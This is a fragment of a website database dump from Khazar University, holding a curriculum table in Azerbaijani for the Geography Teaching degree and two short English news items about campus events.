204</td>\r\n  <td width=\"290\">Metereologiya\r\n  və iqlimşünaslıq</td>\r\n  <td width=\"46\">3</td>\r\n  <td>yox&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>GEOG 206</td>\r\n  <td>Kartoqrafiya GİS\r\n  əsasları ilə&nbsp;</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">SOC 101</td>\r\n  <td>Sosiologiya\r\n  (<strong><em>Sosial-1</em></strong>)</td>\r\n  <td>3</td>\r\n  <td>yox&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">GEOG 208</td>\r\n  <td width=\"304\">Dünyanın\r\n  fiziki coğrafiyası&nbsp;</td>\r\n  <td>3</td>\r\n  <td>GEOG 101</td>\r\n </tr>\r\n <tr height=\"33\">\r\n  <td height=\"33\">PHIL&nbsp;101</td>\r\n  <td>Fəlsəfəyə giriş\r\n  (<strong><em>Humanitar-1</em></strong>)</td>\r\n  <td>3</td>\r\n  <td>yox&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">MED 315</td>\r\n  <td width=\"304\">Mülki\r\n  müdafiə və həyat fəaliyyətinin təhlükəsizliyi</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">PHIL 110</td>\r\n  <td width=\"304\">Mədəniyyət\r\n  fəlsəfəsi (<strong><em>Humanitar-2</em></strong>)</td>\r\n  <td width=\"62\">3</td>\r\n  <td width=\"81\">yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td width=\"290\"><strong>Kredit</strong></td>\r\n  <td width=\"46\">16</td>\r\n  <td width=\"126\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"304\"><strong>Kredit</strong></td>\r\n  <td width=\"62\">18</td>\r\n  <td width=\"81\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\" id=\"zebra\">\r\n  <td colspan=\"9\" height=\"21\"><strong>3-cü il</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td width=\"290\" style=\"font-size:large\"><strong>Payız</strong></td>\r\n  <td width=\"46\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td width=\"126\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td width=\"304\" style=\"font-size:large\"><strong>Yaz</strong></td>\r\n  <td width=\"62\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td width=\"81\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">GEOG 301</td>\r\n  <td>Geologiya&nbsp;</td>\r\n  <td>3</td>\r\n  <td>GEOG 101</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">GEOG 304</td>\r\n  <td width=\"304\">Su\r\n  ehtiyatlarının idarəedilməsi&nbsp;</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl70\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">GEOG 302</td>\r\n  <td width=\"290\">Ətraf\r\n  mühit</td>\r\n  <td width=\"46\">3</td>\r\n  <td width=\"126\">GEOG\r\n  101</td>\r\n  <td>&nbsp;</td>\r\n  <td>GEOG 306</td>\r\n  <td width=\"304\">Azərbaycan\r\n  fiziki və iqtisadi coğrafiyası&nbsp;</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl70\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">GEOG 432</td>\r\n  <td width=\"290\">Biocoğrafiya&nbsp;</td>\r\n  <td width=\"46\">3</td>\r\n  <td>yox&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>EDU 302</td>\r\n  <td width=\"304\">Kurikulum\r\n  və qiymətləndirmə strategiyaları</td>\r\n  <td>3</td>\r\n  <td width=\"81\">EDU\r\n  101</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">MGT 410</td>\r\n  <td>Təşkilati\r\n  davranış&nbsp;(<strong><em>Sosial-2</em></strong>)</td>\r\n  <td width=\"46\">3</td>\r\n  <td width=\"126\">yox&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>GEOG 308</td>\r\n  <td width=\"304\">Dünyanın\r\n  iqtisadi coğrafiyası</td>\r\n  <td>3</td>\r\n  <td width=\"81\">GEOG\r\n  208</td>\r\n </tr>\r\n <tr height=\"40\">\r\n  <td height=\"40\">GEOG 333</td>\r\n  <td width=\"290\">Urbanizasiya\r\n  və torpaq planlaşdırması (<strong><em>Seçmə-1</em></strong>)</td>\r\n  <td>3</td>\r\n  <td>yox&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">GEOG 310</td>\r\n  <td width=\"304\">Torpaqşünaslıq</td>\r\n  <td width=\"62\">3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">PHSC 111</td>\r\n  <td width=\"304\">Fizika</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td width=\"290\"><strong>Kredit</strong></td>\r\n  <td width=\"46\">15</td>\r\n  <td width=\"126\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"304\"><strong>Kredit</strong></td>\r\n  <td width=\"62\">18</td>\r\n  <td width=\"81\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\" id=\"zebra\">\r\n  <td colspan=\"9\" height=\"21\"><strong>4-cü il</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td width=\"290\" style=\"font-size:large\"><strong>Payız</strong></td>\r\n  <td width=\"46\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td width=\"126\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td width=\"304\" style=\"font-size:large\"><strong>Yaz</strong></td>\r\n  <td width=\"62\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td width=\"81\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl70\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">EDU 407</td>\r\n  <td width=\"290\">Passiv\r\n  praktika&nbsp;</td>\r\n  <td>6</td>\r\n  <td width=\"126\">EDU\r\n  101</td>\r\n  <td>&nbsp;</td>\r\n  <td>EDU 408</td>\r\n  <td width=\"304\">Aktiv\r\n  pedaqoji praktika&nbsp;</td>\r\n  <td class=\"xl75\" width=\"62\" style=\"\" border-top:none;border-left:none;width:47pt\";text-align:right\"=\"\">6</td>\r\n  <td>EDU 101</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">EDU 437</td>\r\n  <td>Coğrafiyanın tədrisi\r\n  metodikası&nbsp;</td>\r\n  <td>3</td>\r\n  <td>EDU 101<br>EDU 302</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">GEOG 407</td>\r\n  <td width=\"304\">Landşaftşünaslıq&nbsp;</td>\r\n  <td class=\"xl74\" width=\"62\" style=\"\" border-top:none;border-left:none;width:47pt\";text-align:right\"=\"\">3</td>\r\n  <td width=\"81\">GEOG\r\n  206</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl70\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">GEOG 401</td>\r\n  <td width=\"290\">Ətraf\r\n  mühitinin idarəedilməsi&nbsp;</td>\r\n  <td width=\"46\">3</td>\r\n  <td width=\"126\">GEOG\r\n  210&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">GEOG 425</td>\r\n  <td width=\"304\">Geodeziya&nbsp;</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl70\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">GEOG 303</td>\r\n  <td width=\"290\">Turizm\r\n  coğrafiyası (<strong><em>Seçmə-2</em></strong>)</td>\r\n  <td width=\"46\">3</td>\r\n  <td width=\"126\">yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">GEOG 421</td>\r\n  <td width=\"304\">Çöl\r\n  işi&nbsp;</td>\r\n  <td class=\"xl74\" width=\"62\" style=\"\" border-top:none;border-left:none;width:47pt\";text-align:right\"=\"\">3</td>\r\n  <td width=\"81\">yox</td>\r\n </tr>\r\n <tr height=\"40\">\r\n  <td height=\"40\" class=\"xl70\" width=\"86\" style=\"\" height:30.0pt;border-top:none;width:65pt\"\"=\"\">GEOG 403</td>\r\n  <td width=\"290\">Xəzərşünaslıq\r\n  (<strong><em>Seçmə-3</em></strong>)</td>\r\n  <td width=\"46\">3</td>\r\n  <td width=\"126\">yox</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td width=\"290\"><strong>Kredit</strong></td>\r\n  <td width=\"46\">18</td>\r\n  <td width=\"126\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"304\"><strong>Kredit</strong></td>\r\n  <td width=\"62\">15</td>\r\n  <td width=\"81\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td><strong>Ümumi</strong></td>\r\n  <td>132</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr></tbody></table>'),(4732,2806,'az','Kurikulum','Kurikulum','<table cellpadding=\"0\" cellspacing=\"0\" width=\"1130\" style=\"\" border-collapse:collapse;width:850pt\";border-width:1px;border-style:solid\"=\"\">\r\n <tbody><tr height=\"20\">\r\n  <td colspan=\"9\" rowspan=\"2\" height=\"40\" class=\"xl102\" width=\"913\" style=\"\" height:30.0pt;width:685pt\"\"=\"\"><h3><strong> </strong></h3><h3><strong>050115&nbsp;– Coğrafiya müəllimliyi</strong></h3></td>\r\n </tr>\r\n <tr height=\"20\">\r\n </tr>\r\n <tr height=\"21\" id=\"zebra\">\r\n  <td colspan=\"9\" height=\"21\"><strong>1-ci il</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td rowspan=\"2\" height=\"40\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" width=\"290\" style=\"font-size:large\"><strong>Payız</strong></td>\r\n  <td rowspan=\"2\" width=\"46\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" width=\"126\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>Yaz</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">ENGL 101</td>\r\n  <td>İngilis dilinin\r\n  əsasları 1</td>\r\n  <td>4</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENGL 102</td>\r\n  <td width=\"304\">İngilis\r\n  dilinin əsasları 2</td>\r\n  <td width=\"62\">4</td>\r\n  <td>ENGL 101</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl70\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">ASC 201&nbsp;</td>\r\n  <td width=\"290\">Azərbaycan\r\n  mədəniyyəti</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td>AZH 150&nbsp;</td>\r\n  <td width=\"304\">Azərbaycan\r\n  tarixi</td>\r\n  <td width=\"62\">3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">AZLL 101</td>\r\n  <td>Azərbaycan dili-1</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">AZLL105</td>\r\n  <td width=\"304\">Azərbaycan\r\n  ədəbiyyatı&nbsp;</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">GEOG 101</td>\r\n  <td>Yerşünasliq&nbsp;</td>\r\n  <td>3</td>\r\n  <td>yox&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">EDU 101</td>\r\n  <td width=\"304\">Təhsilə\r\n  giriş&nbsp;</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl70\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">CMS 101</td>\r\n  <td width=\"290\">Kompüter\r\n  elminə giriş</td>\r\n  <td width=\"46\">3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">GEOG 101</td>\r\n  <td width=\"304\">Geomorfologiya</td>\r\n  <td width=\"62\">3</td>\r\n  <td width=\"81\">yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td width=\"290\"><strong>Kredit</strong></td>\r\n  <td width=\"46\">16</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"304\"><strong>Kredit</strong></td>\r\n  <td>16</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\" id=\"zebra\">\r\n  <td colspan=\"9\" height=\"21\"><strong>2-ci il</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td rowspan=\"2\" height=\"40\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" width=\"290\" style=\"font-size:large\"><strong>Payız</strong></td>\r\n  <td rowspan=\"2\" width=\"46\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" width=\"126\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" width=\"304\" style=\"font-size:large\"><strong>Yaz</strong></td>\r\n  <td rowspan=\"2\" width=\"62\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" width=\"81\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">ENGL 103</td>\r\n  <td width=\"290\">Akademik\r\n  ingilis dili&nbsp;</td>\r\n  <td width=\"46\">4</td>\r\n  <td>ENGL 102</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENGL 216</td>\r\n  <td width=\"304\">Xüsusi\r\n  məqsədlər üçün ingilis dili</td>\r\n  <td width=\"62\">3</td>\r\n  <td>ENGL 103</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">GEOG 202</td>\r\n  <td>Hidrologiya&nbsp;</td>\r\n  <td>3</td>\r\n  <td>GEOG 204</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">PSYC 304</td>\r\n  <td width=\"304\">Təhsil\r\n  psixologiyasının əsasları&nbsp;</td>\r\n  <td>3</td>\r\n  <td>EDU 101</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl81\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">GEOG 204</td>\r\n  <td width=\"290\">Metereologiya\r\n  və iqlimşünaslıq</td>\r\n  <td width=\"46\">3</td>\r\n  <td>yox&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>GEOG 206</td>\r\n  <td>Kartoqrafiya GİS\r\n  əsasları ilə&nbsp;</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">SOC 101</td>\r\n  <td>Sosiologiya\r\n  (<strong><em>Sosial-1</em></strong>)</td>\r\n  <td>3</td>\r\n  <td>yox&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">GEOG 208</td>\r\n  <td width=\"304\">Dünyanın\r\n  fiziki coğrafiyası&nbsp;</td>\r\n  <td>3</td>\r\n  <td>GEOG 101</td>\r\n </tr>\r\n <tr height=\"33\">\r\n  <td height=\"33\">PHIL&nbsp;101</td>\r\n  <td>Fəlsəfəyə giriş\r\n  (<strong><em>Humanitar-1</em></strong>)</td>\r\n  <td>3</td>\r\n  <td>yox&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">MED 315</td>\r\n  <td width=\"304\">Mülki\r\n  müdafiə və həyat fəaliyyətinin təhlükəsizliyi</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">PHIL 110</td>\r\n  <td width=\"304\">Mədəniyyət\r\n  fəlsəfəsi (<strong><em>Humanitar-2</em></strong>)</td>\r\n  <td width=\"62\">3</td>\r\n  <td width=\"81\">yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td width=\"290\"><strong>Kredit</strong></td>\r\n  <td width=\"46\">16</td>\r\n  <td width=\"126\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"304\"><strong>Kredit</strong></td>\r\n  <td width=\"62\">18</td>\r\n  <td width=\"81\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\" id=\"zebra\">\r\n  <td colspan=\"9\" height=\"21\"><strong>3-cü il</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td width=\"290\" style=\"font-size:large\"><strong>Payız</strong></td>\r\n  <td width=\"46\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td width=\"126\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td width=\"304\" style=\"font-size:large\"><strong>Yaz</strong></td>\r\n  <td width=\"62\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td width=\"81\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">GEOG 301</td>\r\n  <td>Geologiya&nbsp;</td>\r\n  <td>3</td>\r\n  <td>GEOG 101</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">GEOG 304</td>\r\n  <td width=\"304\">Su\r\n  ehtiyatlarının idarəedilməsi&nbsp;</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl70\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">GEOG 302</td>\r\n  <td width=\"290\">Ətraf\r\n  mühit</td>\r\n  <td width=\"46\">3</td>\r\n  <td width=\"126\">GEOG\r\n  101</td>\r\n  <td>&nbsp;</td>\r\n  <td>GEOG 306</td>\r\n  <td width=\"304\">Azərbaycan\r\n  fiziki və iqtisadi coğrafiyası&nbsp;</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl70\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">GEOG 432</td>\r\n  <td width=\"290\">Biocoğrafiya&nbsp;</td>\r\n  <td width=\"46\">3</td>\r\n  <td>yox&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>EDU 302</td>\r\n  <td width=\"304\">Kurikulum\r\n  və qiymətləndirmə strategiyaları</td>\r\n  <td>3</td>\r\n  <td width=\"81\">EDU\r\n  101</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">MGT 410</td>\r\n  <td>Təşkilati\r\n  davranış&nbsp;(<strong><em>Sosial-2</em></strong>)</td>\r\n  <td width=\"46\">3</td>\r\n  <td width=\"126\">yox&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>GEOG 308</td>\r\n  <td width=\"304\">Dünyanın\r\n  iqtisadi coğrafiyası</td>\r\n  <td>3</td>\r\n  <td width=\"81\">GEOG\r\n  208</td>\r\n </tr>\r\n <tr height=\"40\">\r\n  <td height=\"40\">GEOG 333</td>\r\n  <td width=\"290\">Urbanizasiya\r\n  və torpaq planlaşdırması (<strong><em>Seçmə-1</em></strong>)</td>\r\n  <td>3</td>\r\n  <td>yox&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">GEOG 310</td>\r\n  <td width=\"304\">Torpaqşünaslıq</td>\r\n  <td width=\"62\">3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">PHSC 111</td>\r\n  <td width=\"304\">Fizika</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td width=\"290\"><strong>Kredit</strong></td>\r\n  <td width=\"46\">15</td>\r\n  <td width=\"126\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"304\"><strong>Kredit</strong></td>\r\n  <td width=\"62\">18</td>\r\n  <td width=\"81\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"21\" id=\"zebra\">\r\n  <td colspan=\"9\" height=\"21\"><strong>4-cü il</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td width=\"290\" style=\"font-size:large\"><strong>Payız</strong></td>\r\n  <td width=\"46\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td width=\"126\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td width=\"304\" style=\"font-size:large\"><strong>Yaz</strong></td>\r\n  <td width=\"62\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td width=\"81\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl70\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">EDU 407</td>\r\n  <td width=\"290\">Passiv\r\n  praktika&nbsp;</td>\r\n  <td>6</td>\r\n  <td width=\"126\">EDU\r\n  101</td>\r\n  <td>&nbsp;</td>\r\n  <td>EDU 408</td>\r\n  <td width=\"304\">Aktiv\r\n  pedaqoji praktika&nbsp;</td>\r\n  <td class=\"xl75\" width=\"62\" style=\"\" border-top:none;border-left:none;width:47pt\";text-align:right\"=\"\">6</td>\r\n  <td>EDU 101</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">EDU 437</td>\r\n  <td>Coğrafiyanın tədrisi\r\n  metodikası&nbsp;</td>\r\n  <td>3</td>\r\n  <td>EDU 101<br>EDU 302</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">GEOG 407</td>\r\n  <td width=\"304\">Landşaftşünaslıq&nbsp;</td>\r\n  <td class=\"xl74\" width=\"62\" style=\"\" border-top:none;border-left:none;width:47pt\";text-align:right\"=\"\">3</td>\r\n  <td width=\"81\">GEOG\r\n  206</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl70\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">GEOG 401</td>\r\n  <td width=\"290\">Ətraf\r\n  mühitinin idarəedilməsi&nbsp;</td>\r\n  <td width=\"46\">3</td>\r\n  <td width=\"126\">GEOG\r\n  210&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">GEOG 425</td>\r\n  <td width=\"304\">Geodeziya&nbsp;</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" class=\"xl70\" width=\"86\" style=\"\" height:15.0pt;border-top:none;width:65pt\"\"=\"\">GEOG 303</td>\r\n  <td width=\"290\">Turizm\r\n  coğrafiyası (<strong><em>Seçmə-2</em></strong>)</td>\r\n  <td width=\"46\">3</td>\r\n  <td width=\"126\">yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"83\">GEOG 421</td>\r\n  <td width=\"304\">Çöl\r\n  işi&nbsp;</td>\r\n  <td class=\"xl74\" width=\"62\" style=\"\" border-top:none;border-left:none;width:47pt\";text-align:right\"=\"\">3</td>\r\n  <td width=\"81\">yox</td>\r\n </tr>\r\n <tr height=\"40\">\r\n  <td height=\"40\" class=\"xl70\" width=\"86\" style=\"\" height:30.0pt;border-top:none;width:65pt\"\"=\"\">GEOG 403</td>\r\n  <td width=\"290\">Xəzərşünaslıq\r\n  (<strong><em>Seçmə-3</em></strong>)</td>\r\n  <td width=\"46\">3</td>\r\n  <td width=\"126\">yox</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td width=\"290\"><strong>Kredit</strong></td>\r\n  <td width=\"46\">18</td>\r\n  <td width=\"126\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"304\"><strong>Kredit</strong></td>\r\n  <td width=\"62\">15</td>\r\n  <td width=\"81\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td><strong>Ümumi</strong></td>\r\n  <td>132</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr></tbody></table>'),(4575,2697,'en','“I Chinese Week at Khazar University” Starts in Library-Information Center','On 4-7 December, “The First Chinese Week at Khazar University” hosted by Library Information Centre (LIC) of the University...','<p>On 4-7 December, “The First Chinese Week at Khazar University” hosted by Library Information Centre (LIC) of the University was held at Khazar University.</p><p>Pedagogical staff and students of Khazar University, deans and lecturers of Confucius Institute of Baku State University participated in the opening ceremony held on 4 December.</p><p>Aytaj Misgerli, Deputy Director of LIC, opened the event by welcoming the guests. Speeches were also delivered by Assoc. Prof. Irada Khalilova, Khazar University Vice Rector for Research, Luo Xiaozhi, Dean of Confucius Institute, Li Ya, Khazar University lecturer on Chinese language and its culture and Samira Orujova, a staff of LIC.</p><p>Later, the students of School of Economics and Management interested in Chinese made their presentations in Chinese, Azerbaijani and English. Practical works from Chinese folklore were demonstrated in the second half of the event. The participants highly appreciated the event.</p>'),(4576,2674,'en','“One” Student-Volunteer Program at Khazar University','With organisational support by Khazar University Student Assembly and participation of more than 150 students, “One” Student...','<p>With organisational support by Khazar University Student Assembly and participation of more than 150 students, “One” Student-Volunteer Program made a presentation on 24th of November, 2017. On November 24, 2017, a presentation was made by “One” Student-Volunteer Program with organisational support of Khazar University. At the presentation the majority of the students joined <strong><em><a href=\"www.konullu.edu.az\">www.konullu.edu.az</a></em></strong> portal to become a volunteer.</p><p>“One” Student-Volunteer Program provided the students, 